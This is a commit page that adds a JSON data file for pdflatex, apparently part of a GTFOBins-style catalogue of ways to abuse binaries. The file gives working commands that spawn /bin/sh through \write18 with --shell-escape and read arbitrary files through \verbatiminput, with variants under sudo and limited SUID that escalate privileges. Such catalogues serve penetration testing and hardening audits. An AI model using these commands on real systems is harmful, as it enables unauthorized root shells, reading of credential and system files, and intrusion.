add data source for pdflatex

master
Mr. Robot 3 years ago committed by GitHub
parent 6bf42a886f
commit 497db81fe3
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

@ -0,0 +1,29 @@
{
"functions": {
"shell": [
{
"code": "pdflatex --shell-escape '\\documentclass{article}\\begin{document}\\immediate\\write18{/bin/sh}\\end{document}'\n"
}
],
"file-read": [
{
"description": "The read file will be part of the output.",
"code": "pdflatex '\\documentclass{article}\\usepackage{verbatim}\\begin{document}\\verbatiminput{[file]}\\end{document}'\npdftotext article.pdf -\n"
}
],
"sudo": [
{
"description": "The read file will be part of the output.",
"code": "sudo pdflatex '\\documentclass{article}\\usepackage{verbatim}\\begin{document}\\verbatiminput{[file]}\\end{document}'\npdftotext article.pdf -\n"
},
{
"code": "sudo pdflatex --shell-escape '\\documentclass{article}\\begin{document}\\immediate\\write18{/bin/sh}\\end{document}'\n"
}
],
"limited-suid": [
{
"code": "./pdflatex --shell-escape '\\documentclass{article}\\begin{document}\\immediate\\write18{/bin/sh}\\end{document}'\n"
}
]
}
}
Loading…
Cancel
Save